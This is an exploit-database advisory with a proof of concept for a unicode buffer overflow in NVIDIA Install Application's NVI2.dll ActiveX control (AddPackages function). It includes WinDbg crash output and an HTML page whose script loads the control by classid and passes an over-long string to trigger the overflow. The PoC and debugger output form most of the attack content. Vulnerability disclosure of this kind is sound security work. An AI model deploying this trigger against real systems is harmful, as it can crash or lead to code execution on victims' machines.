NVIDIA Install Application 2.1002.85.551 (NVI2.dll) Unicode Buffer Overflow PoC

EKU-ID: 2855	CVE:	OSVDB-ID:
Author: LiquidWorm	Published: 2012-12-07	Verified:
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NVIDIA Install Application 2.1002.85.551 (NVI2.dll) Unicode Buffer Overflow PoC

Vendor: NVIDIA Corporation
Product web page: http://www.nvidia.com
Affected version: 2.1002.85.551 (Driver: 306.97)

Summary: NVIDIA install core application for Windows.

Desc: The vulnerability is caused due to a boundary error in NVI2.DLL
when handling the value assigned to the 'pDirectory' string variable
in the 'AddPackages' function and can be exploited to cause a unicode
buffer overflow by inserting an overly long array of data which may
lead to execution of arbitrary code.

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(19ac.21d4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=004142a0 ebx=01a83610 ecx=24194ce0 edx=00000002 esi=00000000 edi=00000000
eip=5e26d7fc esp=0023ebe8 ebp=0023ec84 iopl=0         nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000             efl=00010206
C:\Program Files\NVIDIA Corporation\Installer2\installer.2\NVI2.DLL -
NVI2!DllInstall+0xbf5c:
5e26d7fc 8b37            mov     esi,dword ptr [edi] ds:0023:00000000=????????
0:000> d eax+40
004142e0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
004142f0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
00414300 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
00414310 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
00414320 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
00414330 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
00414340 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
00414350 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.

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Tested on: Microsoft Windows 7 Ultimate SP1 (EN) 32bit

- Drivers bundle used: 306.97-desktop-win8-win7-winvista-32bit-english-whql.exe

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience

Advisory ID: ZSL-2012-5116
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5116.php

02.12.2012

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<html><body>
<object classid='clsid:A9C8F210-55EB-4849-8807-EC49C5389A79' id='attack' />
<script>
pDirectory=String(2068, "A")
attack.AddPackages pDirectory
</script>
</body></html>